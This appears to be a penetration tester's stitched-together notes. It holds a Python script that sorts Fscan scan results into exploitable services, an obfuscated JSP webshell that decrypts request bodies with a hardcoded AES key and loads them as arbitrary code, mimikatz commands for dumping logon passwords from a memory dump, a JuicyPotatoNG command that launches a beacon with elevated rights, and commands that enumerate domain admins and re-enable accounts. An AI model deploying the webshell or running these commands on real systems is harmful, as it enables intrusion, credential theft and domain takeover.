import re import os from argparse import ArgumentParser  # sys读取参数 arg = ArgumentParser(description='Fscan_quchong') arg.add_argument('-i', '--file', nargs='*',dest='file',help='Scan multiple targets given in a txt file',type=str) arg.add_argument('-o', '--outfile', dest='outfile', help='the file save result',  default='result.txt',type=str) result = arg.parse_args() # 数据结构  SSH=[] ftp=[] redis=[] mysql=[] mssql=[] oracle=[] Memcached=[] poc=[] WebTitle=[] InfoScan=[] rdp=[] MS17010=[] dic_use={     # 可利用信息梳理     r".*SSH.*":SSH,     r".*redis.*":redis,     r".*mysql.*":mysql,     r".*oracle.*":oracle,     r".*mssql.*":mssql,     r".*Memcached.*":Memcached,     r".*ftp.*":ftp,     r".*poc.*":poc,     r".*InfoScan.*":InfoScan,     # 端口开放     r":(\d?3389|33899.*)":rdp,     r".*MS17-010.*":MS17010,     r".*WebTitle.*":WebTitle } pattern=r"----------.*----------"  def getInfo():     filetargets=[]     # 读取指定txt，支持多个     if result.file!=None:         filetargets=result.file     else:      # 遍历当前文件夹 读取全部txt         for dirpath, dirnames, filenames in os.walk('.'):             for filename in filenames:                 if filename.endswith('txt'):                     filetargets.append(filename)     print("作用范围："+str(filetargets))     for filepath in filetargets:         with open(filepath,'r',encoding='utf-8') as f:             for line in f.readlines():                for key in dic_use.keys():                    if re.findall(key,line): # 正则匹配                        if not re.findall(pattern,line): # 去重原结果文件                            dic_use[key].append(line)                    dic_use[key]=list(set(dic_use[key])) # 去重  def output():     if result.outfile !=None:         filename=result.outfile     with open(filename,"a",encoding='utf-8') as file:         #清空输出文件         file.seek(0)         file.truncate()         for key in dic_use:             if len(dic_use[key])!=0:                 if '3389' in key:                     file.write("----------"+"疑似RDP"+"----------"+"\n")                     file.write("\n")                 else:                     # 写入数据                     file.write("----------"+key[2:-2]+"----------"+"\n")                     file.write("\n")             for i in dic_use[key]:                 file.write(i)             file.write("\n")     print("结果已生成："+filename) def main():     getInfo()     output()  if __name__ == '__main__':     main()

 <%! public byte[] A14I0(String Strings,String k) { try {javax.crypto.Cipher BI3fM5 = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");BI3fM5.init(javax.crypto.Cipher.DECRYPT_MODE, (javax.crypto.spec.SecretKeySpec) Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(k.getBytes(), "AES"));int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98};String ccstr = "";for (int i = 0; i < aa.length; i++) { aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}byte[] bytes = (byte[]) Class.forName(ccstr).getMethod("decodeBuffer", String.class).invoke(Class.forName(ccstr).newInstance(), Strings);byte[] result = (byte[]) BI3fM5.getClass()./*Z5Z48C2BT7*/getDeclaredMethod/*Z5Z48C2BT7*/("doFinal", new Class[]{byte[].class}).invoke(BI3fM5,new Object[]{bytes});return result;} catch (Exception e) {e.printStackTrace();return null;} } %><%  try {  String KP8HYn8 = "e45e329feb5d925b";  session.putValue("u", KP8HYn8);  byte[] I934d9i = A14I0 (request.getReader().readLine(),KP8HYn8);  java./*Z5Z48C2BT7*/lang./*Z5Z48C2BT7*/reflect.Method A14I0 = Class.forName("java.lang.ClassLoader").getDeclaredMethod/*Z5Z48C2BT7*/("defineClass",byte[].class,int/**/.class,int/**/.class);  A14I0.setAccessible(true);  Class i = (Class)A14I0.invoke(Thread.currentThread()./*Z5Z48C2BT7*/getContextClassLoader(), I934d9i , 0, I934d9i.length);  Object Q362 = i./*Z5Z48C2BT7*/newInstance();  Q362.equals(pageContext); } catch (Exception e) {response.sendError(404);} %>

 dumpXor.exe VM21-6-8.log 1.dmp   sekurlsa::minidump 1.dmp   sekurlsa::logonPasswords

 shell JuicyPotatoNG.exe -t \* -p "beacon.exe"

 net group "domain admins" /domain   shell net user xxxx   shell net user xxxx /active:yes /domain